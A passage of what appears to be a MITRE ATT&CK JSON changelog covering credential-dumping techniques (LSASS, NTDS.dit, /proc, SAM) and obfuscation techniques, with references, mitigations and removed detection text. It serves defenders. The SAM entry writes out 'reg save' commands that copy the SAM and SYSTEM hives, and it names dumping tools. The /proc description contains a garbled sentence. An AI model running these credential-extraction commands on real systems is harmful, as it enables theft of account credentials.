mutual client-server domain authentication in Windows 2000 and later.\n* CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)\n",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1003/001",
"external_id": "T1003.001"
},
{
"source_name": "Medium Detecting Attempts to Steal Passwords from Memory",
"description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.",
"url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea"
},
{
"source_name": "Deep Instinct LSASS",
"description": "Gilboa, A. (2021, February 16). LSASS Memory Dumps are Stealthier than Ever Before - Part 2. Retrieved December 27, 2023.",
"url": "https://www.deepinstinct.com/blog/lsass-memory-dumps-are-stealthier-than-ever-before-part-2"
},
{
"source_name": "Graeber 2014",
"description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.",
"url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html"
},
{
"source_name": "Volexity Exchange Marauder March 2021",
"description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021.",
"url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
},
{
"source_name": "Powersploit",
"description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
"url": "https://github.com/mattifestation/PowerSploit"
},
{
"source_name": "Symantec Attacks Against Government Sector",
"description": "Symantec. (2021, June 10). Attacks Against the Government Sector. Retrieved September 28, 2021.",
"url": "https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf"
},
{
"source_name": "TechNet Blogs Credential Protection",
"description": "Wilson, B. (2016, April 18). The Importance of KB2871997 and KB2928120 for Credential Protection. Retrieved April 11, 2018.",
"url": "https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Edward Millington",
"Ed Williams, Trustwave, SpiderLabs",
"Olaf Hartong, Falcon Force",
"Michael Forret, Quorum Cyber"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.5",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Access\", \"Windows Registry: Windows Registry Key Modification\", \"Process: Process Creation\", \"Process: OS API Execution\", \"Logon Session: Logon Session Creation\", \"Command: Command Execution\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:52.657000+00:00\", \"old_value\": \"2025-04-15 22:45:12.834000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for unexpected processes interacting with LSASS.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access LSASS.exe by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\\n\\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\\n\\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor for unexpected processes interacting with LSASS.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access LSASS.exe by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\\n-\\n-On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\\n-\\n-Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\"}}}",
"previous_version": "1.5",
"changelog_mitigations": {
"shared": [
"M1017: User Training",
"M1025: Privileged Process Integrity",
"M1026: Privileged Account Management",
"M1027: Password Policies",
"M1028: Operating System Configuration",
"M1040: Behavior Prevention on Endpoint",
"M1043: Credential Access Protection"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Access)",
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Creation)",
"DS0024: Windows Registry (Windows Registry Key Modification)",
"DS0028: Logon Session (Logon Session Creation)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0363: Detection of Credential Dumping from LSASS Memory via Access and Dump Sequence"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-11 18:42:35.572000+00:00",
"modified": "2025-10-24 17:49:34.852000+00:00",
"name": "NTDS",
"description": "Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in %SystemRoot%\\NTDS\\Ntds.dit of a domain controller.(Citation: Wikipedia Active Directory)\n\nIn addition to looking for NTDS files on active Domain Controllers, adversaries may search for backups that contain the same or similar information.(Citation: Metcalf 2015)\n\nThe following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.\n\n* Volume Shadow Copy\n* secretsdump.py\n* Using the in-built Windows tool, ntdsutil.exe\n* Invoke-NinjaCopy\n",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1003/003",
"external_id": "T1003.003"
},
{
"source_name": "Metcalf 2015",
"description": "Metcalf, S. (2015, January 19). Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory Forest. Retrieved February 3, 2015.",
"url": "http://adsecurity.org/?p=1275"
},
{
"source_name": "Wikipedia Active Directory",
"description": "Wikipedia. (2018, March 10). Active Directory. Retrieved April 11, 2018.",
"url": "https://en.wikipedia.org/wiki/Active_Directory"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Ed Williams, Trustwave, SpiderLabs"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:34.852000+00:00\", \"old_value\": \"2025-04-15 19:59:19.862000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line arguments for program execution that may be indicative of credential dumping, especially attempts to access or copy the NTDS.dit.\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1017: User Training",
"M1026: Privileged Account Management",
"M1027: Password Policies",
"M1041: Encrypt Sensitive Information"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0017: Command (Command Execution)",
"DS0022: File (File Access)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0586: Detection of NTDS.dit Credential Dumping from Domain Controllers"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--3120b9fa-23b8-4500-ae73-09494f607b7d",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-11 18:46:24.434000+00:00",
"modified": "2025-10-24 17:48:36.165000+00:00",
"name": "Proc Filesystem",
"description": "Adversaries may gather credentials from the proc filesystem or `/proc`. The proc filesystem is a pseudo-filesystem used as an interface to kernel data structures for Linux based systems managing virtual memory. For each process, the `/proc/grep -E \"^[0-9a-f-]* r\" /proc/\"$pid\"/maps | cut -d' ' -f 1, to look for fixed strings in memory structures or cached hashes.(Citation: atomic-red proc file system) When running without privileged access, processes can still view their own virtual memory locations. Some services or programs may save credentials in clear text inside the process\u2019s memory.(Citation: MimiPenguin GitHub May 2017)(Citation: Polop Linux PrivEsc Gitbook)\n\nIf running as or with the permissions of a web browser, a process can search the `/maps` & `/mem` locations for common website credential patterns (that can also be used to find adjacent memory within the same structure) in which hashes or cleartext credentials may be located.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1003/007",
"external_id": "T1003.007"
},
{
"source_name": "atomic-red proc file system",
"description": "Atomic Red Team. (2023, November). T1003.007 - OS Credential Dumping: Proc Filesystem. Retrieved March 28, 2024.",
"url": "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003.007/T1003.007.md"
},
{
"source_name": "baeldung Linux proc map 2022",
"description": "baeldung. (2022, April 8). Understanding the Linux /proc/id/maps File. Retrieved March 31, 2023.",
"url": "https://www.baeldung.com/linux/proc-id-maps"
},
{
"source_name": "Polop Linux PrivEsc Gitbook",
"description": "Carlos Polop. (2023, March 5). Linux Privilege Escalation. Retrieved March 31, 2023.",
"url": "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#proc-usdpid-maps-and-proc-usdpid-mem"
},
{
"source_name": "MimiPenguin GitHub May 2017",
"description": "Gregal, H. (2017, May 12). MimiPenguin. Retrieved December 5, 2017.",
"url": "https://github.com/huntergregal/mimipenguin"
},
{
"source_name": "Picus Labs Proc cump 2022",
"description": "Huseyin Can YUCEEL & Picus Labs. (2022, March 22). Retrieved March 31, 2023.",
"url": "https://www.picussecurity.com/resource/the-mitre-attck-t1003-os-credential-dumping-technique-and-its-adversary-use"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Tim (Wadhwa-)Brown"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:36.165000+00:00\", \"old_value\": \"2025-04-15 22:57:59.661000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"To obtain the passwords and hashes stored in memory, processes must open a maps file in the `/proc` filesystem for the process being analyzed. This file is stored under the path `/proc/PID/maps`, where the `PID` directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1026: Privileged Account Management",
"M1027: Password Policies"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0017: Command (Command Execution)",
"DS0022: File (File Access)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0593: Detecting OS Credential Dumping via /proc Filesystem Access on Linux"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-11 18:42:07.281000+00:00",
"modified": "2025-10-24 17:48:26.545000+00:00",
"name": "Security Account Manager",
"description": "Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the net user command. Enumerating the SAM database requires SYSTEM level access.\n\nA number of tools can be used to retrieve the SAM file through in-memory techniques:\n\n* pwdumpx.exe\n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n* secretsdump.py\n\nAlternatively, the SAM can be extracted from the Registry with Reg:\n\n* reg save HKLM\\sam sam\n* reg save HKLM\\system system\n\nCreddump7 can then be used to process the SAM database locally to retrieve hashes.(Citation: GitHub Creddump7)\n\nNotes: \n\n* RID 500 account is the local, built-in administrator.\n* RID 501 is the guest account.\n* User accounts start with a RID of 1,000+.\n",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1003/002",
"external_id": "T1003.002"
},
{
"source_name": "GitHub Creddump7",
"description": "Flathers, R. (2018, February 19). creddump7. Retrieved April 11, 2018.",
"url": "https://github.com/Neohapsis/creddump7"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Ed Williams, Trustwave, SpiderLabs",
"Olaf Hartong, Falcon Force"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Access\", \"Windows Registry: Windows Registry Key Access\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:26.545000+00:00\", \"old_value\": \"2025-04-15 23:04:51.689000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1017: User Training",
"M1026: Privileged Account Management",
"M1027: Password Policies",
"M1028: Operating System Configuration"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0017: Command (Command Execution)",
"DS0022: File (File Access)",
"DS0022: File (File Creation)",
"DS0024: Windows Registry (Windows Registry Key Access)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0085: Credential Dumping from SAM via Registry Dump and Local File Access"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:30:32.662000+00:00",
"modified": "2025-10-24 17:49:15.265000+00:00",
"name": "Obfuscated Files or Information",
"description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. \n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also use compressed or archived scripts, such as JavaScript. \n\nPortions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)\n\nAdversaries may also abuse [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017) ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1027",
"external_id": "T1027"
},
{
"source_name": "Volexity PowerDuke November 2016",
"description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.",
"url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"
},
{
"source_name": "GitHub Revoke-Obfuscation",
"description": "Bohannon, D. (2017, July 27). Revoke-Obfuscation. Retrieved February 12, 2018.",
"url": "https://github.com/danielbohannon/Revoke-Obfuscation"
},
{
"source_name": "FireEye Obfuscation June 2017",
"description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.",
"url": "https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html"
},
{
"source_name": "FireEye Revoke-Obfuscation July 2017",
"description": "Bohannon, D. & Holmes, L. (2017, July 27). Revoke-Obfuscation: PowerShell Obfuscation Detection Using Science. Retrieved November 17, 2024.",
"url": "https://www.blackhat.com/docs/us-17/thursday/us-17-Bohannon-Revoke-Obfuscation-PowerShell-Obfuscation-Detection-And%20Evasion-Using-Science-wp.pdf"
},
{
"source_name": "GitHub Office-Crackros Aug 2016",
"description": "Carr, N. (2016, August 14). OfficeCrackros. Retrieved February 12, 2018.",
"url": "https://github.com/itsreallynick/office-crackros"
},
{
"source_name": "Linux/Cdorked.A We Live Security Analysis",
"description": "Pierre-Marc Bureau. (2013, April 26). Linux/Cdorked.A: New Apache backdoor being used in the wild to serve Blackhole. Retrieved September 10, 2017.",
"url": "https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/"
},
{
"source_name": "Carbon Black Obfuscation Sept 2016",
"description": "Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018.",
"url": "https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/"
},
{
"source_name": "PaloAlto EncodedCommand March 2017",
"description": "White, J. (2017, March 10). Pulling Back the Curtains on EncodedCommand PowerShell Attacks. Retrieved February 12, 2018.",
"url": "https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Red Canary",
"Christiaan Beek, @ChristiaanBeek"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"ESXi",
"Linux",
"macOS",
"Network Devices",
"Windows"
],
"x_mitre_version": "1.7",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"WMI: WMI Creation\", \"Script: Script Execution\", \"File: File Creation\", \"Module: Module Load\", \"Application Log: Application Log Content\", \"Command: Command Execution\", \"File: File Metadata\", \"Process: OS API Execution\", \"Windows Registry: Windows Registry Key Creation\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:15.265000+00:00\", \"old_value\": \"2025-04-15 19:58:59.251000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system). \\n\\nFlag and analyze commands containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''\\\"'''. Windows' Sysmon and Event ID 4688 displays command-line arguments for processes. Deobfuscation tools can be used to detect these indicators in files/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016) \\n\\nObfuscation used in payloads for Initial Access can be detected at the network. Use network intrusion detection systems and email gateway filtering to identify compressed and encrypted attachments and scripts. Some email attachment detonation systems can open compressed and encrypted attachments. Payloads delivered over an encrypted connection from a website require encrypted network traffic inspection. \\n\\nThe first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network. \", \"diff\": \"--- \\n+++ \\n@@ -1,7 +0,0 @@\\n-Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system). \\n-\\n-Flag and analyze commands containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''\\\"'''. Windows' Sysmon and Event ID 4688 displays command-line arguments for processes. Deobfuscation tools can be used to detect these indicators in files/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016) \\n-\\n-Obfuscation used in payloads for Initial Access can be detected at the network. Use network intrusion detection systems and email gateway filtering to identify compressed and encrypted attachments and scripts. Some email attachment detonation systems can open compressed and encrypted attachments. Payloads delivered over an encrypted connection from a website require encrypted network traffic inspection. \\n-\\n-The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network. \"}}}",
"previous_version": "1.7",
"changelog_mitigations": {
"shared": [
"M1017: User Training",
"M1040: Behavior Prevention on Endpoint",
"M1047: Audit",
"M1049: Antivirus/Antimalware"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0005: WMI (WMI Creation)",
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Creation)",
"DS0011: Module (Module Load)",
"DS0012: Script (Script Execution)",
"DS0015: Application Log (Application Log Content)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Creation)",
"DS0022: File (File Metadata)",
"DS0024: Windows Registry (Windows Registry Key Creation)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0378: Behavioral Detection of Obfuscated Files or Information"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-05 14:04:25.865000+00:00",
"modified": "2025-10-24 17:48:50.205000+00:00",
"name": "Binary Padding",
"description": "Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. \n\nBinary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ) ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1027/001",
"external_id": "T1027.001"
},
{
"source_name": "ESET OceanLotus",
"description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.",
"url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"
},
{
"source_name": "Securelist Malware Tricks April 2017",
"description": "Ishimaru, S.. (2017, April 13). Old Malware Tricks To Bypass Detection in the Age of Big Data. Retrieved May 30, 2019.",
"url": "https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/"
},
{
"source_name": "VirusTotal FAQ",
"description": "VirusTotal. (n.d.). VirusTotal FAQ. Retrieved May 23, 2019.",
"url": "https://www.virustotal.com/en/faq/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Martin Jirkal, ESET"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"Windows",
"macOS"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:50.205000+00:00\", \"old_value\": \"2025-04-25 14:46:48.991000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. When executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file. \"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0022: File (File Metadata)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0553: Detection Strategy for Obfuscated Files or Information: Binary Padding"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-16 15:30:57.711000+00:00",
"modified": "2025-10-24 17:49:22.358000+00:00",
"name": "Compile After Delivery",
"description": "Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as ilasm.exe(Citation: ATTACK IQ), csc.exe, or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1027/004",
"external_id": "T1027.004"
},
{
"source_name": "ClearSky MuddyWater Nov 2018",
